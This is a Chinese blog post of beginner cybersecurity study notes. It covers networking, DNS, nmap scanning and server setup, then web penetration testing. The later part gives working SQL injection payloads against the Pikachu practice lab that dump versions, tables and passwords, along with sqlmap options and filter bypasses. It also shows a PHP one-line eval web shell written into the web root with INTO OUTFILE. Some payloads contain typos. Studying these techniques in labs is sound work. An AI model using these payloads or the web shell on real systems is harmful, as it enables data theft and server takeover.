网络安全学习笔记

随笔2个月前发布 三思文化
35 0 0

Web 介绍

Web全称 World Wide Web,全球广域网,也称为万维网。

Web项目分为C/S架构和B/S架构。

C/S架构:全称客户端服务端架构,client/server。服务端主要负责加工处理数据,客户端主要用来展示数据。有些数据存在服务端,有些数据存在客户端。

B/S架构:是C/S架构的一种,浏览器/服务器架构,browser/server,如京东,淘宝网站等。

Web发展的3阶段:

1.0阶段:纯静态页面,不能交互,只是用来展示一些内容给大家看,客户端页面使用HTML语言开发。

2.0阶段:支持用户上传信息,交互,购物。,可以展示动态数据。

3.0阶段:移动互联网。

html介绍

全称:超文本标记语言(Hyper Text Markup Language)

Html语言写在html扩展名的文件中,index.html

css:全称cascading style sheets(层叠样式表),排版布局,.css文件

js:全称javascript,特效,.js文件

超链接:网页跳转

Flash展示特效,视频播放,小游戏(目前很多网站不支持,不安全)

http协议

全称超文本传输协议(hyper text transfer protocol)

Markdown工具

# 表示一级标题

** **中间内容会加粗

换行:在一行的末尾添加两个或多个空格,然后按回车键(return),即可创建一个换行(line break)或新行 (<br>)。

斜体:* *或_ _中间内容变斜体

斜体加粗体:三个***或___

块引用:在段落前添加>符号

链接:链接文本扩[]中,后面紧跟扩在圆括号的URL

网站和电子邮件:

 

远程控制之远程桌面连接

被远程操作的电脑要满足3个条件:

开启远程桌面功能 右键 属性 远程设置
知道其用户账号密码 右键管理 本地用户和组 用户
知道其Ip地址 cmd ipconfig

首先搜索远程桌面连接,输入其Ip,输入其用户密码

Linux网络基础

光猫:一种调制解调器,是光调制解调器,主要作用是将光信号转化为电信号。

Mac地址:网络 属性

物理层:解决信号转换的问题。

数据链路层(+mac 地址)定义电信号的分组方式。基于以太网协议。一组为8位二进制。一组电信号构成一个数据包,叫“帧”,每一数据帧分成:报头head和数据data

Head包括:(固定18个字节)

发送者/源地址,6字节

接收者/目标地址,6字节

数据类型,6字节

Date包含(最短64字节,最长1500字节)

mac 地址:长度48位2进制,通常由12位16进制数表示。(前6位厂商编号,后6位流水线号)

网络层(+Ip地址):

Ip协议(Internet protocol)

Ip数据包:分为head和data

以太网数据包的数据部分,最长1500字节,如果Ip数据包超过了1500字节,他就需要分割成几个以太网数据包分别发送。

ARP协议:广播的方式发送数据包,获取目标主机的mac 地址。在TCP/IP中属于网络层,在OSI模型中属于数据链路层。

传输层(端口号):传输方式tcp/udp,发送数据包的形式。

Tcp ,可靠的传输方式,速度慢

Udp,不可靠,速度快

端口号:port 查看端口号的指令:netstat -ano / netstat -intup

会话层:探测双方网络是否能互通。

表示层:描述文件的类型,数据加密

应用层:应用软件

数据封装和解封装

 

Ip地址划分

十进制范围:0.0.0.0~255.255.255.255

Ip地址分为网络位和主机位

子网掩码

可以判断两个Ip地址是否处在 同一个子网络,方法就是将两个Ip地址与子网掩码分别进行二进制的and运算,也叫与运算。如果相同表示他们在同一个子网络。

与运算:1 and 1=1, 1 and 0 = 0, 0 and 0 = 0, 0 and 1 = 0

DHCP动态Ip地址

设置子网掩码只能是以下几个值:

11111111 255

11111110 254

11111100 252

11111000 248

11110000 240

11100000 224

11000000 192

10000000 128

00000000 0

DNS解析流程

全称:domain name system域名系统

作用:将域名解析成Ip地址

网站名 对应的Ip地址

查询流程:c:windowssystem32driversetchosts文件

 

可添加网站名和其对应Ip

 

这样访问就可以通过域名的形式访问。

查看自己使用的DNS服务器地址:打开网络>设置>更改适配器设置>状态>详情信息

Linux上dns相关命令

通过nslookup查询

yum provides nslookup

yum install bind-utils -y

nslookup www.hc39.com

dig @180.76.76.76 www.hc39.com
host www.hc39.com
ping www.hc39.com

域名

一是国家和地区顶级域名 中国.cn,日本.jp

二是国际顶级域名 表示工商企业 .com,表示网络供应商.net,表示非盈利组织的.org

三是新顶级域名

如:www.baidu.com

     3     2    1

DNS记录类型

文字编码

ASCII码:不支持中文, 每个数字和字母都占一个字节,00000000-11111111总共256种,包括大小写英文、特殊符号。

GB2312:每个数字和字母都占1字节,中文占2字节,可以涵盖有6700多个。

GBK:升级版GB2312,涵盖中文2w多,和800多个特殊符号,中文基本涵盖。

Unicode:万国码,4个字节。

基于万国码推出了可变长编码,UTF-8,一个英文一个字节,一个汉字三个字节。

ARP协议

全称:address resolution protocol,工作在网络层和数据链路层中间。在OSI七层模型中,属于数据链路层。

作用:把Ip地址解析成mac地址

TCP三次握手四次挥手

SYN 建立链接

ACK 回应标识

FIN 断开链接

PSH 数据包、

PST 重置

URG 紧急指针

 

Tcpdump抓包

Tcpdump是Linux上的一个轻量级抓包工具,支持针对网络层、协议、主机、网络或端口的过滤,并提供and,or,not等逻辑语句来帮助你去掉无用的信息,tcpdump只能抓取流经本机的数据包,有三个类型,指定地址、制定协议、指定网卡、

首先安装Nginx

 

-I 指定网卡的名称

 

-nn 把主机名变成ip地址和端口号

 

-c 指定抓包数量

-s 不把随机序号和确认序列解析成绝对值

-w 指定数据包保存的位置

网络工具

nmap

作用:主要做信息收集,也叫做主机安全扫描器,探测主机存活、端口开放情况所用的工具。

安装nmap

Yum install nmap -y #默认安装6.40版本

新版本下载:去官网下载最新版本然后rpm安装

rpm -Uvh nmap-7.93-1.x86_64.rpm

1.探测ip地址段哪些ip地址存活

nmap -sn 192.168.61.0/24

2.探测主机哪些端口开放

nmap -sS 192.168.61.0/24 # ip地址段

namp -Ss 192.168.61.139  # 单个ip地址

traceroute和tracert

作用:路由追踪,查看我们想访问的网站到底经历了那些设备地址的跳转。

1.tracert

比如追踪nmap.org这个国外网站

tracert -d nmap.org

2.traceroute是Linux上的工具,需安装。

yum provides traceroute

yum install traceroute -y

traceroute -n nmap.org

修改网络配置

VMware

桥接模式(VMnet0):也就是将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交流,虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络,简而言之,类似在局域网中添加了一台新计算机一样。

NAT模式(VMnet8):network address translation,即网络地址转换,使用NAT模式网络连接是,vmware会在主机建立单独的专用网络,用于主机和虚拟机之间相互通信,虚拟机向外部网络发送的请求数据包裹,都会交给NAT网络适配器加上特殊标记,并以主机的名义转发出去,外部网络返回的响应数据包裹,也是先由主机接收,然后交给NAT网络适配器根据特殊标记进行识别并转发给对应的虚拟机,因此,虚拟机在外部网络中不必有自己的ip地址。从外部来看,虚拟机和主机在共享一个ip地址,默认情况下,外部网络终端无法访问到虚拟机。虚拟机网段由VMnet8分发,和主机不一个段。

仅主机模式(VMnet1):是一种比NAT模式更加封闭的网络连接模式,它将创建完全包含在主机中的专用网络,仅主机模式的虚拟网络适配器仅对主机可见,并在虚拟机和主机系统之间提供网络连接。

查看:网络>属性>该更改适配器设置

2.给虚拟机配置网卡信息

Windows:找到连接网络>属性>ipv4

Linux:

 

上不了网排查思路

网卡是否开启(绿灯亮起)

 

2.是否开启

 

 

3.物理机上不了网

 

Lnmp网络架构

网络架构指的是一个网站的搭建环境:操作系统+软件+开发语言三部分组成。软件主要指的是中间件(web服务应用程序)+数据库。

数据库:mysql/oracle…数据库管理工具,也叫做数据库管理系统,DBMS: database manager system

Linux+nginx+mysql+php  lnmp架构

Linux+apache+mysql+php lamp架构

Windows+nginx+mysql+php wamp架构

Linux+nginx+mysql+tomcat lnmt架构,主要搭建java语言项目,tomcat本身也是web服务程序,但是本身效率低,可以和nginx结合一起使用。

Linux+nginx+mysql+uwsgi lnmu架构,主要是python语言项目。

Mysql

安装数据库

 

登录数据库

 

查看数据库

 

查看当前登录用户

 

创建数据库

删除数据库

 

 

WordPress 博客网站,php开发,使用mysql数据库

增加nginx的站点配置文件(改域名、根目录)

 

 

上传wordpress源代码

上传到服务器的站点目录下

 

浏览器访问安装,第一访问的时候需要安装,设置一个账号密码之类的东西

Discuz论坛

操作数据库
同上

阿里云项目部署和cdn加速

购买云主机部署项目
注册域名
备案
添加域名解析
购买加速服务,cdn

 

Php简介

后端编程语言的一种,全称:hyperyext preprocessor

作用:生成动态的html文档

基础语法

 

     php的变量

变量:可变的量

常量:不变的值

 

变量的命名规则

一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字或下划线。
变量名不能以数字开头
变量名不要出现中文
变量名不要出现非下划线的其他特殊符号
变量们建议使用小写字母

Php文件上传

上传步骤

文件上传需要主要php.ini配置文件,在phpstudy中看到,其他选项菜单>打开配置文件>php-ini或者打开文件位置,找到php.ini文件

 

 

文件上传步骤

Cookie

火狐浏览器

扩展主题 搜索cookie-editor,添加cookie

谷歌浏览器

设置>扩展程序>开发者模式>加载已解压的扩展程序>插件

Windows设置免杀目录

病毒和威胁防护>管理设置>添加排除项

Docker 镜像 容器

镜像: 安装了某些待定程序的文件>压缩文件

容器:镜像运行起来之后,叫做容器

镜像操作常用指令

 

 

 

请求行:每个HTTP请求的第一行称之为请求行,由两个空格分隔成的三个数据组成。

 

GET请求:向服务端获取资源用的请求方法。

URL: uniform resource locator,统一资源定位符,也叫做网页地址,用来指出信息的所在位置。统一资源定位符将因特网获取信息的六个基本元素包括在一个简单的网络地址中。

 

 

 

静态文件:静态网页也是静态文件的一种,但平时说的静态文件主要指ccs,js,图片,图标文件等。

伪静态网页:看上去是静态页面,实际上是动态页面。

POST和GET本质上没有太大差别。

 

不安全的请求方法:PUT/DELETE/OPTIONS/TRACE

响应数据格式

响应行、响应头、空行、响应数据

状态码

1开头:信息类

2开头:成功类

3开头:重定项

4开头:客户端错误

5开头:服务器错误

响应头

Date:响应时间

Server:web服务器和相对应版本

x-powered-by:常见的非标准HTTP响应头

 

域名收集

查询域名谁注册:https://whois.whinaz.com/站长之家

收集子域名:https://tool.chanz.com/subdomain/

https://site.ip138.com/2/domain.htm

常用端口

ftp 21 上传下载文件

ssh 22

telnet 23 交换机、路由器会用到,主要用来做远程主机管理

smtp 25 发邮件

pop3 110 收邮件

dns 53

sbm 445 微软邮件共享

https 443

http 80

apache 80 443

nginx 80 443

tomcat 8080

weblogic 7001

mysql 3306

mssql 1433

oracle 1521

postgresql 5432

redis 6379

mongdb 27017

vnc 5900

iis 80

jboss 8080

rdp == remote desktop protocol 3389

端口范围:1~65535

nmap:网络映射器

功能包括:

主机发现-识别网络上的主机

端口扫描-枚举目标主机的开放端口

版本检测-询问远程设备上的网络服务以确定应用程序名称和版本号

可与脚本进行脚本交互-使用nmap脚本引擎和lua编程语言

漏洞检测

基本用法

-sL:list scan 列表扫描,仅将制定的目标ip列举出来,不进行主机发现

-sn:ping scan 只进行主机发现,不进行端口扫描,不仅仅发送ping探测包还会自动发送其他数据类型的数据包进行探测

-Pn:将所有指定的主机视作开启的,跳过主机发现的过程,直接探测端口,通过端口探测结果判断主机是否存活。

-PS/PA/PU/PY:使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现

-PE/PP/PM使用ICMP echo,timeatamp,and netmask请求发现主机

-PO:使用ip协议包探测对方主机是否开启

-n,-R:-n表示不进行DNS解析,-R表示总是进行DNS解析

-P0:无ping 扫描

端口扫描:确定目标主机的TCP/UDP端口的开放情况

Open:端口开放

Filtered:被防火墙或IDS/IPS屏蔽,无法确定状态

Unfiltered:没有被屏蔽,需要进一步确定

Open|filtered: 端口开放或被屏蔽

Close|filtered:关闭或被屏蔽

Tcp扫描方式分类:

开放扫描(全连接扫描),会产生大量的审计数据,容易被对方发现,但可靠性高,会建立连接。例如,TCP connect类。效率高。

隐藏扫描:可以有效的避免入侵检测系统和防火墙的检测,但扫描数据包容易被丢弃从而产生=错误的探测信息。如,TCP FIN类。

半开放扫描(半连接):不建立连接,隐蔽性和可靠性介于两者之间,如,     TCP SYN类。

基本用法:

-sS 指定使用TCP SYN来对目标机进行扫描

-sU:指定使用UDP扫描方式来确定目标主机的UDP 端口情况

C段端口扫描

namp -p 80,443,8000,8080 -Pn 152.136.221.120/24

-Pn:指定ip地址段

版本侦测

基本用法:-sV指定nmap进行版本侦测

 

OS侦测

-O:指定nmap进行OS侦测

 

 

漏洞扫描

基本用法:

Nmap 目标ip地址 –script=suth,vuln

指纹信息搜集网站

潮汐 http://finger.tedeser.com/

云悉 https://www.yunsee.cn/

漏洞分类

危险程度分类:高危,中危,低危,信息

类型分类:

硬件漏洞,操作系统漏洞,软件漏洞,框架漏洞,代码漏洞

硬件:路由器,交换机等

软件漏洞:mysql,nginx,apache,iis,redis,ftp工具,ssh等

框架:

前端:bootstrap,jquery,vue等

Java:struts2简称s2,spring,spring cloud等

Php:thingphp简称tp,laravel等

Python:django,flask等

Go:beego,echo,gin等

代码:web网页代码,APP代码,开源系统漏洞:WordPress,discuz等

敏感信息收集之敏感目录扫描

7kbscan

在github上搜索目录扫描/dirscan/dirsearch

 

安装模块:pip install -r requirements.txt

黑暗搜索引擎

Shodan是用于搜索互联网连接设备的搜索引擎

Fofa:网络空间资产检索系统是世界上数据覆盖更完整的it设备搜索引擎。https://fofa.so/

钟馗之眼: https://www.zoomeye.org/

知道创宇seebug.org/

Web漏洞说明

渗透流程:明确目标>信息收集>漏洞测试>漏洞验证>提取所需>信息分析>信息整理>形成报告

 

 

Web十大漏洞(owasp top 10)

SQL注入

SQl注入原理

 

简单来说,就是SQL语句被非预期 解析和执行了。

如何查找注入点位置

前端页面所有提交数据的地方,登录、注册、留言板、评论区、分页等

URL编码对照Ascii表,可在线解码,编码

解码工具:captlencoder

Sql注释符号和加号

Get请求不允许出现空格,用+代替或url编码处理

–注释必须要加空格,#加不加都可以

Get请求不可以出现#注释,可用–+代替或–%20处理,或直接把#url处理

常用的简单测试语句

联合查询不可以用于非关系型数据库

Sql注入类型:数字型、字符型、搜索型、xx型

数字型:不需要考虑单双引号闭合问题

字符型:要注意单双引号闭合问题

搜索型:注意添加%

 

Xx型:在引号后添加)

 

Sql注入提交方式类型

$get 不是取get请求携带的数据,而是取得查询参数数据

$post(接受post请求数据) 数据在请求体部分

$request可以取出get或post请求单数据(不安全)

$cookie(接受cookie请求)

 

Sql注入请求数据位置分类

请求行、请求头、请求数据部分

请求头:http header注入

Mysql变量和函数

 

函数比如:user(),version(),datebase()……

报错注入

报错的信息获取(三个常用的报错函数)

Updateeml:函数是MySQL对XML文档数据进行函数查询和修改的XPATH函数

Extractvalue():函数也MySQL对xml文档数据进行查询的xpath函数

Floor():MySQL中用于取整的函数

爆数据库版本信息

k’ and updatexml(1,concat(0x7e,(SELECT @@VERSION),0X7E),1) #

 

爆数据库当前用户

I’ and updatexml(1,concat(0x7e,(SELECT user(),0X7E),1) #

爆数据库

k’ and updatexml(1,concat(0x7e,(SELECT datebase(),0X7E),1) #

爆表名

k’ and updatexml(1,concat(0x7e,(select table_name from information schema.table where table_schema=’pikachu’ limit 0,1),0) #

limit一行一行显示

爆字段

k’ and updatexml(1,concat(0x7e,(select column_name from information schema.columns where table_name=’user’ and table_schama=’pikachu’ limit 0,1),0) #

爆字段内容

k’ and updatexml(1,concat(0x7e,(select password from user limit 0,1),0) #

sqlmap

是一个开源的渗透工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。

-r 指定参数post注入,sqlmap.py -r post.txt -p 注入参数

-u get注入

使用sqlmap

先打开sqlmap所在目录,双击运行1.bat

Level:执行测试的等级(1-5,默认为1),使用-level,参数且数值>=2时也会检查cookie里面的参数,>=3时,将检查user-agent和referer,常用3

Risk:执行测试的风险(0-3,默认为1)默认1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的SQL注入测试

-v:显示更加详细的信息。默认1

-p:针对某一个参数进行注入

–threads: 默认10,20的话会更快,不是越大越好。调大操作:在sqlmap>lib>core>setting.py找到threads修改

-batch-smart 智能判断测试,自行寻找注入点进行测试,该指令会将所有数据库扒一遍,并且会将每一步的信息和数据全部保存下来,存在sqlmap>output>目标ip>dump

–mobile:,模拟手机环境站点

-m:批量注入,可以检测多个网站网址

 

前端代码防御和绕过

前端代码绕过

绕过前端代码最好的方式就是先输入一个符合格式要求的数据,然后抓包处理。

碰到js加密和混淆技术时,前端代码有难度,JS加密和JS逆向

后台代码防御和绕过

情况1:判断关键字

大小写,大小写混合

情况2:替换关键字

双写绕过

情况3:把用户提交的ID数据转换为整型

情况4:魔术符号,将用户提交的数据中的引号自动在前面加上进行转义

读取服务器敏感文件数据

2个条件:1.要知道想读取文件的真实物理路径2.后台数据库配置文件中打开一个配置,打开配置文件>mysql.ini>在MySQL数据库写一句话:secure_file_priv””,开启SQL对文件读取的功能。

 

探测真实路径的方法:指纹信息探测插件wappalyzer

读取数据库数据

查询当前数据库库名,用户名,版本等信息

‘ union select user(),version(),database()–+

判断查询的字段个数order by

‘ order by 1,2,3–+ #报错,表示字段小于3,那么减少一个字段来尝试

‘ order by 1,2–+ #不报错,表示字段为2个,报错就减少一个尝试

获取MySQL所有库名

‘ union select 1,group_concat(schema_name) from information_schema,schemata–+

 

获取Pikachu库的所有表名

‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+–+

获取表中的字段名(user表)

‘ union select 1,group_concat(column_name) from information_schema.column where table_name=0x7573657273+–+

木马介绍

木马就是一段程序,这个程序运行到目标主机上时,主要可以对目标主机进行远程控制、盗取信息等功能。

按照功能:远控型、破坏型、流氓软件型、盗取信息型等

按照连接方式分类:正向连接、反向连接、无连接等

按照功能大小:大马、小马、一句话木马

一句话木马利用工具

菜刀、蚁剑、冰蝎、哥斯拉

Sql注入getshell的前提条件

1. Mysql开启了secure_file_priv=””的配置

2. 知道了网站代码的真实物理路径

3. 物理路径具备写入权限

4. 最好是,mysql的root用户,非必须条件

通过注入点写入木马程序

‘ union select “<?php @eval($_POST[‘ jaden ‘]);?>”,2 into outfile “c:\phpStudy\PHPTutorial\WWW\jaden.php”+–+

利用条件

木马上传成功了
知道木马的路径在哪里
上传的木马能正常运行

获得后台真实物理路径的方法

 

Sql注入防护

 

 

XSS跨站脚本攻击

全称:cross site scripting跨站脚本攻击,XSS指攻击者在网页中嵌入客户端脚本,通常是javascript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

XSS漏洞出现的原因

程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行从而产生危害。

2个条件:1.输入数据2.展示数据,输出数据

 

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...